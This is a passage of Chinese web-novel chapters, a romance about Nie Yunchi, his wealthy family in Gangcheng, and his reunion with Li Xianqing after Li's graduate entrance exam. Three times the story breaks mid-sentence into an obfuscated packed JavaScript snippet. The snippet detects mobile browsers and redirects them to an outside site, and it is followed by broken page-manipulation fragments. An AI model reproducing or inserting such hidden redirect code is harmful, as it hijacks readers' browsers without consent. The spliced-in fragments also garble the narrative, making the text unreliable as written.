聂老太太生活的时期,港城崇尚“多子多福”的说法,膝下共孕育了二子二女,不过到了聂云驰这一辈聂家的人丁就算不上兴旺了,且有的已经选择离开港城发展,但定期家庭聚餐这个习惯聂老太太还是雷打不动地坚持了下来。 聂家老宅在港城的和平山顶,坐在迈巴赫上沿着盘山公路往下望,可以看到出海港口两侧的摩天大楼如林耸立,玻璃幕墙折射着璀璨的日光,宛如装饰在这个城市脖颈上的珠宝闪耀的火彩,远处时不时传来几声模糊的嗡鸣声,是庞大的渡轮准备抵达码头。 “今天你奶奶特意交代了,说你伯伯一家中午有好事要宣布,让我们早些回去。”徐闻兰和聂云驰说话的时候手里还拿着一叠文件在看,墨镜戴在她头上像一个设计精巧的发卡,发丝间隐约看到一点墨镜腿上的金色logo。 聂云驰锁上手机屏幕:“没说是什么事?” “你大伯倒是没有讲。”徐闻兰把手里的文件放下,说,“不过你爸爸同我说,大概是佳悦那孩子的婚事要定下来了。” 徐闻兰提到的聂佳悦是聂云驰的二堂姐,聂家大伯聂正珩的小女儿。 “那要恭喜她。”聂云驰看向徐闻兰,“订婚是喜事,大伯怎么不提前同亲戚们讲?” 徐闻兰笑了一下,一双丹凤眼微微上挑,露出的眉眼神情与聂云驰有些相似:“你爸爸的意思是订婚虽说是佳悦的喜事,但你伯母对这个准女婿不甚满意,所以光是这订婚一事就拖了许久才闹完,这次回去也只亲戚们间简单讲一讲,不准备大肆操办。” 聂云驰回忆了一下堂姐的未婚夫,说:“佳悦姐的对象我曾经见过,印象中也算青年才俊,伯母是哪里不满意?” “这有什么难理解的?”徐闻兰嗤笑道:“住在和平山顶的妹妹仔要同住在山脚下的男人结婚,那个小男孩全部身家加起来都够不到半山腰的,你伯母怎会中意他呢?不过是拗不过你姐姐非要喜欢。” “你伯母也算是努力过了,这两年也试图介绍过不少人给你佳悦姐,都是你们那些世伯家的同龄人,各个你伯母都喜欢,但各个你佳悦姐都不喜欢。有言道胳膊拧不过大腿,除了接受,你伯母还能有什么办法?”徐闻兰语气淡淡的,听不出来她对大伯母做法的评价。 聂云驰沉默地听着,眼睛看向车窗外。 港城的冬天是不见落叶的,越往山顶开,越能看到郁郁葱葱的阔叶乔木。繁华的车水马龙逐渐变成脚下的一点,像在俯瞰一盘精致的积木。 这是只有站在和平山顶才能看到的风景。 聂云驰看着快要看到的老宅大门,说了一句:“但总归是佳悦姐喜欢最重要。” 徐闻兰终于从纷飞如鸽子展翅的文山里抽出空来看了眼自己的孩子,怪道:“你这话听起来不像是我们家的人会说的。” 聂云驰望向自己的母亲:“不对么。” 徐闻兰看着那双遗传自自己的眼睛,沉默片刻,在临下车前说:“不对。” 因为对于习惯住在和平山顶往下眺望的人来说,门第很重要,家私很重要,般配很重要,偏偏就是喜欢最不重要。 一进门,聂云驰看到父亲聂松庭正气定神闲地坐在沙发上看报纸,两个姑姑坐在奶奶旁边细声陪着说话。 大伯聂正珩和大伯母蒋秀一家人倒是没有在客厅。 聂松庭见到妻子来了,放下手里的报纸去迎,两个人客气地点点头打过招呼,又轻轻拍了一下聂云驰的肩膀,作为父子之间的见面礼。 “好久不见。最近你手头上那个案子动静闹得不小,我在港城这边也有所耳闻。”聂松庭自然地接过徐闻兰脱下的大衣,然后转手交给保姆挂去衣帽间。 徐闻兰依旧是没有太大波澜的语气:“不算什么大问题。不过是两边当事人一个比一个急,难为你在港城还要听这些鸡毛蒜皮。” 聂云驰没有参与他们的聊天,只安静地站在他们身后,看着他们并排往里走的背影。 两个人挨得不算远,但是肩膀与手臂始终不曾接触。 小时候,聂云驰不明白为什么自己的父母不住在一起,不明白为什么自己需要港城、a城两边跑的和爸爸妈妈见面,然后吃一顿在漂亮餐厅里的枯燥饭餐。 一开始,他觉得是自己父母之间爱的模式比较特殊,所以这一切是正常的。 但是当他同徐闻兰说起自己的发现的时候,徐闻兰沉默了。 良久,她看着自己试图寻求肯定的孩子,觉得以他现在的年纪应该可以听懂自己的话了:“云驰,爸爸妈妈之间,也不是一定非要相爱的。我和你爸爸是最好的工作伙伴,最好的朋友。” 聂云驰听完后只问了一个问题:“那爸爸妈妈爱我吗?” 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389807|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都说孩子是父母爱的结晶。 但是为什么没有爱也可以出现一个我? 在工作时舌灿莲花的徐闻兰第一次不知道该如何组织语言。 最后,徐闻兰告诉聂云驰:“妈妈也不知道。” 后来聂云驰拿着同样的问题去问聂松庭。 聂松庭听完笑了起来,他宽厚的手掌拂过聂云驰的头发,然后蹲下来盯着聂云驰的眼睛说:“阿驰,人不能够太贪心。你已经有了许多旁人没有的东西,不能奢求再一再二再三。” 聂云驰不理解,但是他记住了。 爱是贪心,是再一再二再三,是他没有的东西。 在聂云驰的人生课堂里,关于爱的第一节课是学会接受自己的父母不爱彼此,第二节课是学会接受他们也许也不爱自己。 “妈,二嫂和云驰到了。” 大姑提醒了一声,架着老花镜的聂老太太抬起头,慈祥地笑着说:“都来齐啦?那开饭吧。” 落座前,大伯一家才终于现身。 席间,聂正珩看不出心情好坏地简单说了几句女儿的婚事,长辈们的反应算不上热烈,只有小姑聂今巧笑着说了句:“怎么这么大的喜事,大哥也不早说?佳悦你也是,都不把人带过来给姑姑们瞧瞧,准备什么时候摆酒?” 大伯母的表情算不上高兴,但好带也挂起了点笑容:“小孩子家脸皮薄,害羞也是有的。”只绝口不提摆酒的事情。 聂云驰抬眼对上坐在对面的聂佳悦,颔首贺喜:“佳悦姐,恭喜。” 另一边的两个表弟闻言也纷纷出声祝福。 聂佳悦的龙凤胎哥哥聂佳航拍拍妹妹的手,像是在说悄悄话。 面对同辈的道贺,聂佳悦表情明显轻松了很多:“谢谢!” 桌子上端的长辈们好像还在谈论什么,没有听到这边小一辈们的祝贺声,但也可能听到了,只是不太在意。 吃过午饭,小辈们默契地离席各自回了房间,不愿参与长辈们接下来的聊天。 聂云驰站在房间的落地窗前俯瞰依旧青葱翠绿的和平山,突然想起站在格桑山山顶上的时候,他想起那些自由的,脑海中只剩下自己一个人意志的瞬间。 又或者说,他想起了一个人。 他在思念李现青。 和平山顶四季常青,可住在这里的人内心早就见不得肆意生长的青苗。这里的人信奉绿植应该整齐,花草需要修剪,一切都应该控制在合格的边框内。 而用来困住植物的边框,也会变成规则困住人本身。 搁在桌子上的手机突然震动,聂云驰看到熟悉的联系人备注—— “小猫” 点击接受视频通话后,聂云驰看到屏幕里一片雪白。 是李现青用巴布城的雪堆了两个雪人,身子胖胖的、五官歪七扭八的、紧紧挨在一起的两个雪人。 镜头一翻转,出现冻得鼻尖通红的李现青,他的下半张脸藏在围巾里,只能看到他含笑的眼睛,像挂在天上的月亮:“聂云驰,我堆的雪人好看吗?” 聂云驰凝视着屏幕那头的李现青,觉得这应该是爱的第三课。 爱是自由、勇敢和快乐。 20. 第 20 章 李现青的声音混合着风声,显得有些缥缈。 他看着屏幕里一动不动的聂云驰,以为是自己信号不好,于是举高了手机在雪地里转圈,碎碎念道:“有信号呀,聂云驰是不是你那里的网不好?你现在卡住啦!” “别转晕了。”聂云驰轻笑出声,看着裹得跟企鹅一样的李现青,问:“出来玩雪手套带好了吗?” 李现青举起另一只没拿手机的手,给聂云驰展示自己带着的厚实浅蓝色手套:“聂云驰,你还没有夸我堆的雪人。” 聂云驰目不转睛地看着他说:“光顾着看你了,没有看清。” 李现青闻言马上把摄像头翻转回去,认认真真地对着那两个雪人360度地转圈展示。 镜头最后定格在两个雪人装歪了的胡萝卜鼻子上。 聂云驰听到李现青的声音在雪地里响起:“现在看清了吗?” 聂云驰回答:“看清楚了,把摄像头转回去吧,青青。” 李现青皱着眉把摄像头再次翻转,想了想,举着手机和那两个雪人并排蹲在雪地里,埋怨道:“你到底有没有认真看啊?我堆了好久的。” “看了,眼睛用的什么没看出来,板栗吗?”聂云驰提问道。 李现青得意地说:“是过期的麦丽素,很逼真吧。” 他凑得和雪人很近,一双扑闪的杏眼和雪人的麦丽素眼睛放在一起,说不上是哪个更像巧克力。 看着聂云驰在没有暖气的室内还只穿一件衬衫和v领羊绒背心,李现青觉得两个人简直不像生活在一个季节里。 巴布城冬天的室外实在太冷了,李现青摸摸那两只雪人扎实的脑袋,在聂云驰的劝说声中躲回了房子里。 坐在壁炉前把手套围巾一股脑地摘下,李现青终于能呼吸上一口不冻鼻子的空气。 然后李现青才终于有空认真看了眼聂云驰所在的环境,觉得眼生,随口问了句:“今天周末你在哪里呀?” 聂云驰想了一下措辞,解释说:“在山上,今天来奶奶家吃饭。” “怪不得你刚刚信号不好。”李现青表示理解,山里的信号确实会差一些。 聂云驰问李现青怎么冒雪去剪头发。 李现青有点不好意思地说:“不是快考试了吗?本来想把头发剪短一定看起来利索些,但是我刚刚去网上查,发现大家都说考试前不能剪头发,会把考运给剪走,我觉得好像也有道理,还是不剪了吧。” 聂云驰听了问他:“紧张了?” “一点点吧。”李现青觉得自己有点惆怅,“感觉好像什么都准备了,又感觉好像什么都没准备。你考研那会也这样吗?” 不等聂云驰回答,李现青又自言自语道:“差点忘了,你是申请制的。算了,你不懂我。” “怎么直接就判死刑了,大小姐。”聂云驰决定为自己发声,“我可以感同身受的。” 李现青托腮盯着烧得猛烈的炉火,眼神放空:“你说,考不上会怎样?” “不会怎么样。”聂云驰回答得很果断,“大不了再来一年。” 李现青叹气:“那还是不要了吧……” 那也太苦了。 聊到这个话题,聂云驰又想起自己到现在都还没能被李现青告知他到底报考的是哪个学校。 于是他试图再次询问:“所以青青,你到底选了哪个学校?” “不告诉你。”李现青想也不想地直接拒绝回答。 聂云驰用指尖摸了摸屏幕里李现青被懂得发红的鼻尖和脸颊:“为什么总不告诉我?” 李现青认真地想了想,然后告诉聂云驰:“因为你现在等级不够高,暂不能给你开通此项权限。” 聂云驰笑了,他单手支着太阳穴,注视着李现青:“那请问青青,要怎么样才能升级呢?求大小姐给个明示吧。” 李现青横了眼聂云驰,哼声道:“此功能也暂未开放。” 顿了顿,又补充道:“你自己想办法。” “好。”聂云驰望着他,点了点头,眼底溢出笑意。 大小姐的心思总是要让人猜的。 这很理所应当。 虽然嘴上说着只有一点点紧张,但是等到距离考试倒计时还剩三天的时候,李现青是真的开始紧张到有些焦虑了。 于是李现青大晚上的不睡觉,开始进行思考。 只不过思考了半天也没有思考出什么头绪,只好拿起手机开始在网上四处冲浪。 从“199考研蒙题技巧”“考研初试三天冲刺”看到“考研笔试结束后应该做什么”,又从“考研二战一般能提多少分”看到“如何提前准备复试内容”。 一晚上看得李现青是精神亢奋,毫无睡意。 只感觉心里分裂出了两个小人,一个自信爆棚,一个愁容满面。 看到最后,网页给李现青推送了一个名为“考完研最应该做的是出门放空自己!”的帖子。 说得很有道理。 这下让李现青成功把什么考试必过神秘学什么十大答题技巧的东西统统抛之脑后了。 这就使得李现青火速打开了购票软件,并购买了一张前往沙城的高铁票。 又得心应手的给自己做了一个简易的攻略,计划制定的速度比起平时学习的时候简直是下笔如有神。 李现青欣赏了一下自己的完美出游计划,瞬间觉得三天后的考试都不重要了,重要的在X市考点附近的酒店如何以最佳路线不堵车的直奔高铁站。 于是李现青一激动,直接给聂云驰打了个电话。 不知道为什么,聂云驰这次接得有点慢。 等电话一接通,李现青马上开心地说:“聂云驰,我想好了,等我一考完我就要出去玩,现在我一点也不紧张了!” 电话那头的聂云驰沉默了一下,好像还没反应过来李现青在说什么。 过了片刻,李现青才听到聂云驰的回答。 “那很好啊,这样就不会所有注意力都高度集中在考试上了。” 聂云驰的声音从听筒里传来,低沉中还带着一丝和平常不一样的微微喑哑,像是刚刚睡醒。 李现青突然反应过来看了一眼床头柜上摆着的时钟。 现在是凌晨四点半。 李现青呆呆地瞧着还在转圈的秒针,感觉那股兴奋的情绪一下子被压了下来:“是不是吵醒你啦?对不起我没看到时间……” 聂云驰听到李现青突然变轻的声音,问他:“昨天到现在一晚上都没睡吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389808|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?这么紧张?” “嗯……有一点。”李现青用被子把自己整个人蒙起来了,这下他终于察觉到自己的眼睛因为熬夜已经变得干涩。 李现青在被子里面揪着床单画圈圈:“对不起呀,我不是故意的,真的没注意到时间。” 李现青只觉得一股内疚感涌上心头,特别是想到今天还是工作日,聂云驰可能昨天晚上还加了班。 “没关系,故意的也没关系。”话筒那边传来窸窸窣窣的布料摩擦声,应该是聂云驰从床上坐了起来,“你现在有点焦虑,和人说下话会比较好。” 然后聂云驰又问:“准备好去哪里玩了?” “嗯。”李现青声音软下来,有点不好意思地说,“想去沙城,之前毕业的时候就想去的,但是因为实习工作一团糟就没有去成。” “车票都买好了?” “买好啦,我还把攻略都做好了!” 聂云驰听出了李现青谈到考完试出行计划的愉快:“什么时候去?” 李现青把自己从被子里放出来透气:“考完第二天我就出发,我的考点离高铁站很近。” “那什么时候走?” “应该就待个三四天吧?周六到,周二走吧。” 聂云驰调出日历,又看了眼工作行程。 发现李现青考完试的那个星期自己刚好轮到周日单休。 “好巧。”聂云驰一边说,一边点开购票软件开始看机票:“那个周末我刚好在那边出差,周日客户不开会,要一起吃个饭吗?” 李现青愣了愣,从床上坐了起来:“你去沙城出差吗?” 聂云驰声音平稳,听不出一点破绽:“是,昨天刚接到通知。” “所以行程里可以匀出一顿饭的时间给我吗?”聂云驰定了一趟周日凌晨起飞的红眼航班,算了下时间,落地修整一下刚好可以和李现青一起吃午饭。 李现青咬着下唇,觉得这一切巧合得简直太顺利。 最后他告诉聂云驰:“可以匀两顿。” “好。”聂云驰轻笑一声,选择了一趟周一凌晨抵达a市的回程的航班——他周一上午十点还有一场例会要做汇报。 其实行程可能有一些赶。 其实连着坐两趟红眼航班或许会有一些累。 但是在这一刻,聂云驰觉得没有比这更合适的契机。 他想和李现青见一面。 而思念会是针对疲惫最好的咖啡因。 爱也是。 “现在天还没亮,快睡觉吧。”聂云驰关掉订票软件,提醒李现青,“一晚上不睡不困吗?” 李现青被他一提醒,本就有点浑浑噩噩的脑子更是一摇就满是浆糊,可他还记得聂云驰刚刚说的话。 “你真的来沙城出差吗?” 在不久之后的那天,你真的要来见我吗? “真的。” 千真万确。 李现青拥着被子又躺下了。 他听着聂云驰的声音从话筒里传来,在脑海里变得忽近忽远。 脑子里那些拥挤的东西终于被清理干净,上下眼皮开始打架。 在陷入沉睡前,李现青听到聂云驰和他说: “早安,好梦。” 21.第 21 章 开考前一天,李现青收拾好行李住进了在考点附近定好的酒店。 放下行李后,李现青研究了一下从酒店到考场的路线,只觉得这一路可谓是算得上“负箧曳屣深山巨谷中,穷冬烈风,大雪深数尺”。(注1) 站在考场门口,看着拉起的大红横幅,李现青不由得想,明天的自己会是什么心情? 事实证明,等真到了坐在考场的那一刻,李现青内心平静得只剩一片空白,唯一的想法就是:“快一点考完吧!” 上午静坐三个小时考管综写字写到手抽筋,下午罚坐三个小时云里雾里地考完英语。六个小时的时间,足以结束备考时光中所有的煎熬,一切忐忑都不过统统付与这短暂的一日,来去了无痕。 李现青走出考场后,看着灰白色的天空,深深地从肺里呼出一口气,然后看着它在触碰到寒冷空气的瞬间液化成一团白雾,如烟散开。 李现青笑了一下,只觉得自己的步伐变得轻快。 Zephyr:恭喜考完 Zephyr:[庆祝][庆祝][庆祝] 聂云驰几乎是卡着他走出考场的时间点发来了祝贺信息。 青青:终于! 青青:[精疲力尽.JPG] 第二天一早,李现青直奔高铁站,坐上了前往沙城的列车。 待在沙城安顿好,一下楼就可见被两侧拔地而起的高楼大厦围着的敞亮步行街,沿着步行街一路走出去便是商圈,人流量只多不少。拐几个弯进到老城区,便是窄窄的老街古巷,一股糖油混合的香味在街道的上空盘旋,缠住了李现青的脚步。 “小伙子,要来一份吗?包好吃的!”店主阿姨热情地招呼在店门口驻足的李现青。 李现青点点头,买了一份托在手上,边走边吃。 好甜。 李现青吃着手上这份浇满红糖的酥脆糯米制品,觉得整个人连呼吸都是甜的了。 兜兜转转地绕了一大圈,等吃完甜食,李现青也走回了市中心。 商场大楼的玻璃干净得像加了蓝色滤镜的镜子,李现青对着镜子看到自己还没来得及修剪的头发,已经长过了肩膀,像失去打理的海藻。 就这样出门见人的话,好像有点不好看。 李现青站在楼外看了一会玻璃,决定这次一定要把自己的头发修剪一下。 于是他算了一下本次出行的活动经费结余情况,然后有些忐忑地踏进了一家看起来好像还挺热闹的理发店。 一进店,李现青就被第一个问题问住了。 “先生您好,请问是剪头发吗?我们有店长、总监、副总监、高级理发师四种规格,请问您需要哪种呢?” 李现青沉默,他想起巴布城的那家一关门整座城的人都不能剪头发的理发店,全城仅此一家,行业垄断,童叟无欺。 还是进城活动多。 李现青保守起见,先向店员询问了一下价格,然后选择了“总监”。 因为店长最贵,剩下的三人都一个价,选总监的话会有一种性价比高一些的感觉。 “我想剪短一点,到这就行。”李现青比划了一下自己想要的长度。 总监摸了摸李现青的头发,夸赞道:“发质很好呀,都不像是烫过的,平时一定很注意护理吧?” 李现青摇头:“我是自然卷。” 这下总监有点惊讶了,他仔细地看了眼李现青的长相,说:“小帅哥,你是少数民族吧?” 李现青点点头。 “哇。”总监又研究了一下李现青的头发,然后建议道,“小帅哥要不要再染一个染色啊?我给你调一个颜色吧,肯定好看!” 这是要给自己推项目加钱了。 李现青果断拒绝:“我不要。” 总监不死心,决定放出自己的杀手锏:“你染一个然后给我们店铺做视频号宣传模特吧,可以给你免单的。” 这下李现青终于肯看他了:“免费?” 总监点头:“免费!” “剪头发免费还是染头发免费?” “都免费。” “真的好看吗?” “不好看我给你再免费染回去。” 于是三个小时后,李现青顶着一个回头率极高的新发型从理发店离开了。 回到酒店的李现青对着镜子左看右看,疑惑地皱起眉头。 这样真的好看吗? 可是如果不好看的话,理发店工作人员应该也不会三百六十度无死角地拍照录视频吧? 李现青觉得自己可能需要紧急学习一点时尚知识。 晚上,处于自我怀疑中的李现青下意识选择挂掉了聂云驰的视频电话。 等挂掉后,又马上抿嘴回了个语音电话。 “喂?”聂云驰显然觉得有点奇怪,“怎么了?” 李现青满脸愁容地对着电视屏幕上自己的倒影:“嗯……” 听出了李现青语气中的迟疑,聂云驰没有开口,只慢慢地等着。 半响,李现青才说:“我今天下午去剪头发了。” 聂云驰这个时候说话了:“剪出来的效果不喜欢吗?” “好像也没有……”李现青拧着眉头,有点纠结,“就是觉得有点奇怪,我也不知道是好看还是不好看。” 聂云驰“唔”了一声,安慰道:“应该是好看的,只不过新发型你还没看习惯。” 说完顿了顿,又道:“所以刚刚才把视频挂掉了?” 李现青:“嗯。” 聂云驰:“但我明天也会看到的。” 李现青叹气:“那你明天如果觉得不好看的话,不能笑话我。” 聂云驰回答道:“不会的。” 李现青突然觉得聂云驰这个回答有歧义。 “是不会笑话我吗?” “是不会觉得不好看。” “敷衍。” “不相信的话你可以现在就给我看一眼。” “你休想。” 想起明天的见面,李现青突然有些不知所措。 他试探着问聂云驰:“你今天忙吗?” 聂云驰还是那股习以为常的语气:“还可以,正常程度吧。” 李现青又问:“你是什么时候到沙城的呀?怎么还要周末出差。” 什么时候到沙城? 聂云驰回忆了一下航班的抵达时间。 应该是十个小时后到。 聂云驰依旧淡定地回答:“昨天到的。如果客户需要,就算是周末我们也可以随时待命的。” 但是紧接着,李现青问他:“那你明天不用忙吗?” 聂云驰迟疑了一下,然后选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399173|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了实话:“我想的话,可以。” “可以不用忙?” “可以来见你。” “不影响你的工作吗?” “完全不影响。” 聂云驰顿了一下,然后有些抱歉地说:“青青,我现在的工作确实比较忙,但是不至于连抽出一天的时间来见你都做不到。” 可再不忙,也只能抽出一天时间的话,长此以往不会累吗? 累了就会觉得不值得,就会想放弃吧? 李现青话到嘴边又咽了下去。 他想,何必在这个时候提前说这些扫兴的话? 最起码现在,这一切还没有发生。 聂云驰听他沉默,便猜测了一下:“怎么不说话,今天在外面一直走,累了吗?” 李现青顺势点头:“有一点,今天走了快两万步了。” “等会早点休息。”聂云驰想了想,问道,“下午发给你的那两家餐厅有不喜欢的吗?” 李现青那个时候在理发店忐忑地等结果,只来得及匆匆扫过几眼,印象中好像还可以:“没有,明天去吃这两家吗?” 聂云驰说:“对,可以吗?” 李现青没有意见:“可以。” “那明天中午我来步行街找你。” “好。” “明天下午本来是什么安排?想去哪里玩吗?” 李现青闻言笑了起来:“去芙蓉洲,你去过吗?” 聂云驰嘴角不受控地微微上扬:“去过,那明天轮到我来给你当地陪了。” 李现青听完,本来皱着的眉头舒展开来:“那你加油吧,聂导游。” “我会的。”聂云驰看了眼时间,差不多再过两个小时,自己就可以出发去机场了,“那明天见,青青。” 李现青眨眨眼睛,脑海中突然出现了一瞬聂云驰的眼睛:“明天见。你记得说好了不许笑话我的。” 聂云驰含笑应道:“好。” 他现在是对李现青的新发型充满了好奇。 很想快一点,见到他。 飞机划过熹微的晨光,从遥远的一端飞向遥远的另一端。 聂云驰想过会不会是沙城的理发师把李现青的头发剪毁了,但是就是没有想到,当自己站在李现青发来的地址楼下时,仿佛看到了第二次镜湖的日落。 李现青染成金色的头发被修剪到肩膀上方的位置,从阴影中走出来时仿佛有灿烂的阳光在发丝间流淌,发质柔顺如绸缎,微卷的弧度随着下楼的动作在空中划出轻盈的线条。 单只的绿松石耳环从左耳耳垂上坠下来,缠绵地与发丝斡旋。 像烈火熔融下的黄金。 像炙热阳光下的湖泊。 年底的沙城算不上很冷,但是李现青还保留着在北方小城的保暖习惯,穿了件浅卡其色的羽绒服,亮度略低的暖气映衬得发色更加明艳。 下楼梯的时候李现青就看到了聂云驰。 脚步微微一滞,然后李现青把手揣进了口袋,垂下眼走过来。 聂云驰看着他一时失语,直到李现青抬头瞄了他一眼。 聂云驰今天穿了件轻薄的黑色羊绒长款大衣,衬得整个人挺拔高挑,肩宽头小。 “好久不见,青青,今天很漂亮。” 他遵守了诺言,也遵从了内心地说道。